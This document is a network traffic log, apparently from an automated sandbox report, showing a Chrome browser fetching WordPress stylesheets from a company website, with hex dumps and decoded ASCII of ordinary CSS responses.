2024-10-07 11:16:59 UTC	8000	IN	Data Raw: 6e 74 2d 73 65 6c 65 63 74 2d 63 75 73 74 6f 6d 69 7a 65 2d 69 6e 70 75 74 29 2e 61 6e 74 2d 73 65 6c 65 63 74 2d 73 68 6f 77 2d 61 72 72 6f 77 20 2e 61 6e 74 2d 73 65 6c 65 63 74 2d 73 65 6c 65 63 74 69 6f 6e 2d 73 65 61 72 63 68 7b 72 69 67 68 74 3a 32 38 70 78 7d 2e 61 6e 74 2d 73 65 6c 65 63 74 2d 73 69 6e 67 6c 65 2e 61 6e 74 2d 73 65 6c 65 63 74 2d 73 6d 3a 6e 6f 74 28 2e 61 6e 74 2d 73 65 6c 65 63 74 2d 63 75 73 74 6f 6d 69 7a 65 2d 69 6e 70 75 74 29 2e 61 6e 74 2d 73 65 6c 65 63 74 2d 73 68 6f 77 2d 61 72 72 6f 77 20 2e 61 6e 74 2d 73 65 6c 65 63 74 2d 73 65 6c 65 63 74 69 6f 6e 2d 69 74 65 6d 2c 2e 61 6e 74 2d 73 65 6c 65 63 74 2d 73 69 6e 67 6c 65 2e 61 6e 74 2d 73 65 6c 65 63 74 2d 73 6d 3a 6e 6f 74 28 2e 61 6e 74 2d 73 65 6c 65 63 74 2d 63 75 Data Ascii: nt-select-customize-input).ant-select-show-arrow .ant-select-selection-search{right:28px}.ant-select-single.ant-select-sm:not(.ant-select-customize-input).ant-select-show-arrow .ant-select-selection-item,.ant-select-single.ant-select-sm:not(.ant-select-cu
2024-10-07 11:16:59 UTC	8000	IN	Data Raw: 7d 2e 61 6e 74 2d 73 65 6c 65 63 74 2d 73 65 6c 65 63 74 69 6f 6e 2d 70 6c 61 63 65 68 6f 6c 64 65 72 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 31 3b 2d 6d 73 2d 66 6c 65 78 3a 31 3b 66 6c 65 78 3a 31 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 63 6f 6c 6f 72 3a 23 62 66 62 66 62 66 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 69 73 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 40 6d 65 64 69 61 20 61 6c 6c 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 20 6e 6f 6e 65 29 7b 2e 61 6e 74 2d 73 65 6c 65 63 74 2d 73 65 6c 65 63 74 69 6f 6e 2d 70 6c 61 63 65 68 6f 6c 64 65 72 20 2a 3a 3a 2d 6d 73 2d 62 61 63 6b 64 72 6f 70 2c Data Ascii: }.ant-select-selection-placeholder{-webkit-box-flex:1;-ms-flex:1;flex:1;overflow:hidden;color:#bfbfbf;white-space:nowrap;text-overflow:ellipsis;pointer-events:none}@media all and (-ms-high-contrast: none){.ant-select-selection-placeholder *::-ms-backdrop,
2024-10-07 11:16:59 UTC	8000	IN	Data Raw: 69 64 65 72 2d 76 65 72 74 69 63 61 6c 20 2e 61 6e 74 2d 73 6c 69 64 65 72 2d 68 61 6e 64 6c 65 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2d 35 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 2e 61 6e 74 2d 73 6c 69 64 65 72 2d 72 74 6c 2e 61 6e 74 2d 73 6c 69 64 65 72 2d 76 65 72 74 69 63 61 6c 20 2e 61 6e 74 2d 73 6c 69 64 65 72 2d 6d 61 72 6b 7b 72 69 67 68 74 3a 31 32 70 78 3b 6c 65 66 74 3a 61 75 74 6f 7d 2e 61 6e 74 2d 73 6c 69 64 65 72 2d 72 74 6c 2e 61 6e 74 2d 73 6c 69 64 65 72 2d 76 65 72 74 69 63 61 6c 20 2e 61 6e 74 2d 73 6c 69 64 65 72 2d 6d 61 72 6b 2d 74 65 78 74 7b 72 69 67 68 74 3a 34 70 78 3b 6c 65 66 74 3a 61 75 74 6f 7d 2e 61 6e 74 2d 73 6c 69 64 65 72 2d 72 74 6c 2e 61 6e 74 2d 73 6c 69 64 65 72 2d 76 65 72 74 69 63 61 6c 20 2e 61 Data Ascii: ider-vertical .ant-slider-handle{margin-right:-5px;margin-left:0}.ant-slider-rtl.ant-slider-vertical .ant-slider-mark{right:12px;left:auto}.ant-slider-rtl.ant-slider-vertical .ant-slider-mark-text{right:4px;left:auto}.ant-slider-rtl.ant-slider-vertical .a
2024-10-07 11:16:59 UTC	8000	IN	Data Raw: 73 70 6c 61 79 3a 66 6c 65 78 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6d 69 6e 2d 77 69 64 74 68 3a 6d 61 78 2d 63 6f 6e 74 65 6e 74 7d 2e 77 70 6d 6c 2d 6c 61 6e 67 75 61 67 65 2d 73 77 69 74 63 68 65 72 2d 62 6c 6f 63 6b 20 2e 77 70 6d 6c 2d 6c 73 2d 64 72 6f 70 64 6f 77 6e 20 75 6c 20 6c 69 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 73 75 62 6d 65 6e 75 20 75 6c 2e 69 73 48 6f 72 69 7a 6f 6e 74 61 6c 7b 6d 61 72 67 69 6e 3a 30 3b 6d 69 6e 2d 77 69 64 74 68 3a 69 6e 68 65 72 69 74 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 77 70 6d 6c 2d 6c 61 6e 67 75 61 67 65 2d 73 77 69 74 63 68 65 72 2d 62 6c 6f 63 6b 20 2e 77 70 6d 6c 2d 6c 73 2d 64 72 6f 70 64 6f 77 6e 20 75 6c 20 6c 69 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 Data Ascii: splay:flex;align-items:center;min-width:max-content}.wpml-language-switcher-block .wpml-ls-dropdown ul li.wp-block-navigation-submenu ul.isHorizontal{margin:0;min-width:inherit !important}.wpml-language-switcher-block .wpml-ls-dropdown ul li.wp-block-navi
2024-10-07 11:16:59 UTC	3303	IN	Data Raw: 6e 2d 6c 61 6e 67 75 61 67 65 2d 73 77 69 74 63 68 65 72 27 5d 20 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 3e 64 69 76 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 2e 69 73 2d 63 6f 6e 74 65 6e 74 2d 6a 75 73 74 69 66 69 63 61 74 69 6f 6e 2d 73 70 61 63 65 2d 62 65 74 77 65 65 6e 20 5b 64 61 74 61 2d 74 79 70 65 3d 27 77 70 6d 6c 2f 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 61 6e 67 75 61 67 65 2d 73 77 69 74 63 68 65 72 27 5d 20 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 20 2e 68 6f 72 69 7a 6f 6e 74 61 6c 2d 6c 69 73 74 7b 64 69 73 70 6c 61 79 3a 63 6f 6e 74 65 6e 74 73 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 2e 69 73 2d 63 6f 6e 74 65 6e 74 2d 6a 75 73 Data Ascii: n-language-switcher'] .wp-block-navigation-item>div,.wp-block-navigation.is-content-justification-space-between [data-type='wpml/navigation-language-switcher'] .wp-block-navigation-item .horizontal-list{display:contents}.wp-block-navigation.is-content-jus

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49742	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:16:59 UTC	598	OUT	GET /2016/wp-includes/css/dist/block-library/style.min.css?ver=6.5.4 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:16:59 UTC	256	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:16:59 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 03 May 2024 21:06:15 GMT Accept-Ranges: bytes Content-Length: 113381 Vary: Accept-Encoding Content-Type: text/css
2024-10-07 11:16:59 UTC	7936	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2e 77 70 2d 62 6c 6f 63 6b 2d 61 72 63 68 69 76 65 73 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 72 63 68 69 76 65 73 2d 64 72 6f 70 64 6f 77 6e 20 6c 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 20 69 6d 67 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 Data Ascii: @charset "UTF-8";.wp-block-archives{box-sizing:border-box}.wp-block-archives-dropdown label{display:block}.wp-block-avatar{line-height:0}.wp-block-avatar,.wp-block-avatar img{box-sizing:border-box}.wp-block-avatar.aligncenter{text-align:center}.wp-block-a
2024-10-07 11:16:59 UTC	8000	IN	Data Raw: 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 63 6f 6d 6d 65 6e 74 73 20 2e 63 6f 6d 6d 65 6e 74 2d 61 75 74 68 6f 72 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 63 6f 6d 6d 65 6e 74 73 20 2e 63 6f 6d 6d 65 6e 74 2d 61 75 74 68 6f 72 20 2e 61 76 61 74 61 72 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 2e 35 65 6d 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 68 65 69 67 68 74 3a 32 2e 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2e 37 35 65 6d 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2e 35 65 6d 3b 77 69 64 74 68 3a 32 2e 35 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d Data Ascii: -style:none;margin:0;padding:0}.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:left;height:2.5em;margin-right:.75em;margin-top:.5em;width:2.5em}.wp-block-post-
2024-10-07 11:16:59 UTC	8000	IN	Data Raw: 62 6c 6f 63 6b 2d 63 6f 76 65 72 5f 5f 62 61 63 6b 67 72 6f 75 6e 64 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2d 37 30 20 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 5f 5f 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2d 37 30 3a 6e 6f 74 28 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 67 72 61 64 69 65 6e 74 29 3a 62 65 66 6f 72 65 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d Data Ascii: block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-
2024-10-07 11:16:59 UTC	8000	IN	Data Raw: 65 72 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2e 69 73 2d 70 6f 73 69 74 69 6f 6e 2d 74 6f 70 2d 63 65 6e 74 65 72 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 66 6c 65 78 2d 73 74 61 72 74 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 2e 69 73 2d 70 6f 73 69 74 69 6f 6e 2d 74 6f 70 2d 72 69 67 68 74 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2e 69 73 2d 70 6f 73 69 74 69 6f 6e 2d 74 6f 70 2d 72 69 67 68 74 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 66 6c 65 78 2d 73 74 61 72 74 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e 64 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 2e 69 73 2d 70 6f 73 69 74 69 6f 6e 2d 63 65 6e Data Ascii: er,.wp-block-cover.is-position-top-center{align-items:flex-start;justify-content:center}.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{align-items:flex-start;justify-content:flex-end}.wp-block-cover-image.is-position-cen
2024-10-07 11:16:59 UTC	8000	IN	Data Raw: 61 29 3a 76 69 73 69 74 65 64 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 6f 70 61 63 69 74 79 3a 2e 38 35 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 66 6f 72 6d 2d 69 6e 70 75 74 5f 5f 6c 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 67 61 70 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 65 6d 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 66 6f 72 6d 2d 69 6e 70 75 74 5f 5f 6c 61 62 65 6c 2e 69 73 2d 6c 61 62 65 6c 2d 69 6e 6c 69 6e 65 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 Data Ascii: a):visited{box-shadow:none;color:#fff;opacity:.85;text-decoration:none}.wp-block-form-input__label{display:flex;flex-direction:column;gap:.25em;margin-bottom:.5em;width:100%}.wp-block-form-input__label.is-label-inline{align-items:center;flex-direction:row
2024-10-07 11:16:59 UTC	8000	IN	Data Raw: 65 73 74 65 64 2d 69 6d 61 67 65 73 29 2e 63 6f 6c 75 6d 6e 73 2d 36 20 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 69 74 65 6d 3a 6e 74 68 2d 6f 66 2d 74 79 70 65 28 36 6e 29 2c 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 67 72 69 64 3a 6e 6f 74 28 2e 68 61 73 2d 6e 65 73 74 65 64 2d 69 6d 61 67 65 73 29 2e 63 6f 6c 75 6d 6e 73 2d 37 20 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 69 6d 61 67 65 3a 6e 74 68 2d 6f 66 2d 74 79 70 65 28 37 6e 29 2c 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 67 72 69 64 3a 6e 6f 74 28 2e 68 61 73 2d 6e 65 73 74 65 64 2d 69 6d 61 67 65 73 29 2e 63 6f 6c 75 6d 6e 73 2d 37 20 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 69 74 65 6d 3a 6e 74 68 2d 6f 66 2d 74 79 70 65 28 37 6e 29 2c 2e 62 6c 6f 63 6b 73 2d 67 Data Ascii: ested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-g
2024-10-07 11:16:59 UTC	8000	IN	Data Raw: 2d 63 68 69 6c 64 28 32 29 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 67 61 6c 6c 65 72 79 2e 68 61 73 2d 6e 65 73 74 65 64 2d 69 6d 61 67 65 73 2e 63 6f 6c 75 6d 6e 73 2d 64 65 66 61 75 6c 74 20 66 69 67 75 72 65 2e 77 70 2d 62 6c 6f 63 6b 2d 69 6d 61 67 65 3a 6e 6f 74 28 23 69 6e 64 69 76 69 64 75 61 6c 2d 69 6d 61 67 65 29 3a 66 69 72 73 74 2d 63 68 69 6c 64 3a 6e 74 68 2d 6c 61 73 74 2d 63 68 69 6c 64 28 32 29 7e 66 69 67 75 72 65 2e 77 70 2d 62 6c 6f 63 6b 2d 69 6d 61 67 65 3a 6e 6f 74 28 23 69 6e 64 69 76 69 64 75 61 6c 2d 69 6d 61 67 65 29 7b 77 69 64 74 68 3a 63 61 6c 63 28 35 30 25 20 2d 20 76 61 72 28 2d 2d 77 70 2d 2d 73 74 79 6c 65 2d 2d 75 6e 73 74 61 62 6c 65 2d 67 61 6c 6c 65 72 79 2d 67 61 70 2c 20 31 36 70 78 29 2a 2e 35 29 7d 2e 77 70 2d 62 6c 6f Data Ascii: -child(2),.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2)~figure.wp-block-image:not(#individual-image){width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)*.5)}.wp-blo
2024-10-07 11:16:59 UTC	8000	IN	Data Raw: 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 30 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 6c 69 67 68 74 62 6f 78 2d 7a 6f 6f 6d 2d 69 6e 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 63 61 6c 63 28 28 2d 31 30 30 76 77 20 2b 20 76 61 72 28 2d 2d 77 70 2d 2d 6c 69 67 68 74 62 6f 78 2d 73 63 72 6f 6c 6c 62 61 72 2d 77 69 64 74 68 29 29 2f 32 20 2b 20 76 61 72 28 2d 2d 77 70 2d 2d 6c 69 67 68 74 62 6f 78 2d 69 6e 69 74 69 61 6c 2d 6c 65 66 74 2d 70 6f 73 69 74 69 6f 6e 29 29 2c 63 61 6c 63 28 2d 35 30 76 68 20 2b 20 76 61 72 28 2d 2d 77 70 2d 2d 6c 69 67 68 74 62 6f 78 2d 69 6e 69 74 69 61 6c 2d 74 6f 70 2d 70 6f 73 69 74 69 6f 6e 29 29 29 20 73 63 61 Data Ascii: ility:visible}to{opacity:0;visibility:hidden}}@keyframes lightbox-zoom-in{0%{transform:translate(calc((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position)),calc(-50vh + var(--wp--lightbox-initial-top-position))) sca
2024-10-07 11:16:59 UTC	8000	IN	Data Raw: 65 72 74 69 63 61 6c 7b 2d 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 61 79 6f 75 74 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 2d 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 61 79 6f 75 74 2d 6a 75 73 74 69 66 79 3a 69 6e 69 74 69 61 6c 3b 2d 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 61 79 6f 75 74 2d 61 6c 69 67 6e 3a 66 6c 65 78 2d 73 74 61 72 74 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 2e 6e 6f 2d 77 72 61 70 7b 2d 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 61 79 6f 75 74 2d 77 72 61 70 3a 6e 6f 77 72 61 70 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 2e 69 74 65 6d 73 2d 6a 75 73 74 69 66 69 65 64 2d 63 65 6e 74 65 72 7b 2d 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 61 79 6f 75 74 2d 6a 75 73 74 69 66 69 63 61 74 69 6f Data Ascii: ertical{--navigation-layout-direction:column;--navigation-layout-justify:initial;--navigation-layout-align:flex-start}.wp-block-navigation.no-wrap{--navigation-layout-wrap:nowrap}.wp-block-navigation.items-justified-center{--navigation-layout-justificatio
2024-10-07 11:16:59 UTC	8000	IN	Data Raw: 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 61 79 6f 75 74 2d 77 72 61 70 2c 77 72 61 70 29 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 76 61 72 28 2d 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 61 79 6f 75 74 2d 6a 75 73 74 69 66 79 2c 69 6e 69 74 69 61 6c 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 5f 5f 72 65 73 70 6f 6e 73 69 76 65 2d 63 6f 6e 74 61 69 6e 65 72 3a 6e 6f 74 28 2e 69 73 2d 6d 65 6e 75 2d 6f 70 65 6e 2e 69 73 2d 6d 65 6e 75 2d 6f 70 65 6e 29 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 21 69 6d 70 6f 72 74 61 6e 74 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 5f 5f 72 65 73 70 6f 6e 73 69 76 65 2d 63 6f Data Ascii: navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial)}.wp-block-navigation__responsive-container:not(.is-menu-open.is-menu-open){background-color:inherit!important;color:inherit!important}.wp-block-navigation__responsive-co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49746	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:16:59 UTC	650	OUT	GET /2016/wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/legacy-dropdown/style.min.css?ver=1 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:16:59 UTC	254	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:16:59 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 25 Jan 2024 15:20:31 GMT Accept-Ranges: bytes Content-Length: 1716 Vary: Accept-Encoding Content-Type: text/css
2024-10-07 11:16:59 UTC	1716	IN	Data Raw: 2e 77 70 6d 6c 2d 6c 73 2d 6c 65 67 61 63 79 2d 64 72 6f 70 64 6f 77 6e 7b 77 69 64 74 68 3a 31 35 2e 35 65 6d 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 77 70 6d 6c 2d 6c 73 2d 6c 65 67 61 63 79 2d 64 72 6f 70 64 6f 77 6e 3e 75 6c 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 6c 69 73 74 2d 73 74 79 6c 65 2d 74 79 70 65 3a 6e 6f 6e 65 7d 2e 77 70 6d 6c 2d 6c 73 2d 6c 65 67 61 63 79 2d 64 72 6f 70 64 6f 77 6e 20 2e 77 70 6d 6c 2d 6c 73 2d 63 75 72 72 65 6e 74 2d 6c 61 6e 67 75 61 67 65 3a 66 6f 63 75 73 20 2e 77 70 6d 6c 2d 6c 73 2d 73 75 62 2d 6d 65 6e 75 2c 2e 77 70 6d 6c 2d 6c 73 2d 6c 65 67 61 63 79 2d 64 72 6f 70 64 6f 77 6e 20 2e 77 70 6d 6c 2d Data Ascii: .wpml-ls-legacy-dropdown{width:15.5em;max-width:100%}.wpml-ls-legacy-dropdown>ul{position:relative;padding:0;margin:0!important;list-style-type:none}.wpml-ls-legacy-dropdown .wpml-ls-current-language:focus .wpml-ls-sub-menu,.wpml-ls-legacy-dropdown .wpml-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49744	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:16:59 UTC	586	OUT	GET /2016/wp-content/themes/twb_2016/style.css?ver=6.5.4 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:16:59 UTC	255	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:16:59 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:49:50 GMT Accept-Ranges: bytes Content-Length: 14747 Vary: Accept-Encoding Content-Type: text/css
2024-10-07 11:16:59 UTC	7937	IN	Data Raw: 2f 2a 0a 54 68 65 6d 65 20 4e 61 6d 65 3a 20 74 77 62 5f 32 30 31 36 0a 54 68 65 6d 65 20 55 52 49 3a 20 68 74 74 70 3a 2f 2f 75 6e 64 65 72 73 63 6f 72 65 73 2e 6d 65 2f 0a 41 75 74 68 6f 72 3a 20 50 61 67 65 77 6f 72 6b 73 0a 41 75 74 68 6f 72 20 55 52 49 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 70 61 67 65 2e 77 6f 72 6b 73 0a 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 41 20 63 75 73 74 6f 6d 20 74 68 65 6d 65 20 66 6f 72 20 54 57 42 20 43 6f 6d 70 61 6e 79 2c 20 4c 4c 43 0a 56 65 72 73 69 6f 6e 3a 20 31 2e 30 2e 30 0a 4c 69 63 65 6e 73 65 3a 20 47 4e 55 20 47 65 6e 65 72 61 6c 20 50 75 62 6c 69 63 20 4c 69 63 65 6e 73 65 20 76 32 20 6f 72 20 6c 61 74 65 72 0a 4c 69 63 65 6e 73 65 20 55 52 49 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6e 75 2e 6f 72 67 2f 6c Data Ascii: /*Theme Name: twb_2016Theme URI: http://underscores.me/Author: PageworksAuthor URI: http://www.page.worksDescription: A custom theme for TWB Company, LLCVersion: 1.0.0License: GNU General Public License v2 or laterLicense URI: http://www.gnu.org/l
